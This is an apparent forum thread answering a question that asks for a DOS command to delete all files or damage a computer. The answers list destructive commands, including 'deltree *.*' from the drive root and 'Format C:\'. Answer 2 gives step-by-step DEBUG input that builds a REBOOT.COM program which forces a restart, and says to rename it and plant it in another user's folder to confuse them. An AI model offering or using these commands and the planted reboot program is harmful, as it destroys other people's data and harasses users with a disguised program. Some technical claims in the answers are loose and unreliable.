A Killer DOS Command?

Question

Is there DOS Command that would delete all the files or damage the computer once typed in?

Answer 1

DELTREE, FDISK, FORMAT, DEL all can have an adverse impact on an operating system..

FDISK will scratch the drive and make bare is virtual irrecoverable without some very good forensic tools. FORMAT cleans the drives and can place on the system a new OS partition

DELTREE will delete all files in a directory, or directory tree, is recoverable with UNERASE

Answer 2

i think it's "deltree *.*" run from root of any hard drive, just confirm "Y" and all files erased in no time. but it cannot damage the computer. you can confuse the user by frequent rebooting or fatal error massages, when a user run the specific file. to do this:
1. go to dos mode
2. type "debug"
if "-" prompt does not appear, locate "debug.exe" and run it
3. now type:
A
JMP F000:FFF0

RCX
9
NREBOOT.COM
W
Q

you will get a file "reboot.com" on the same folder as "debug.exe". now rename that file to any fevorite name and place on the user's folder. you'r done!

Answer 3

yes, FDISK. It will try and format your hard drive. But usually it will require you to confirm that you want to format, Y or N. I actually saw someone do that, and when the Y or N came up they got so freaked out they hit Y instead of N. Total disaster.

Answer 4

Format C:\

Answer 5
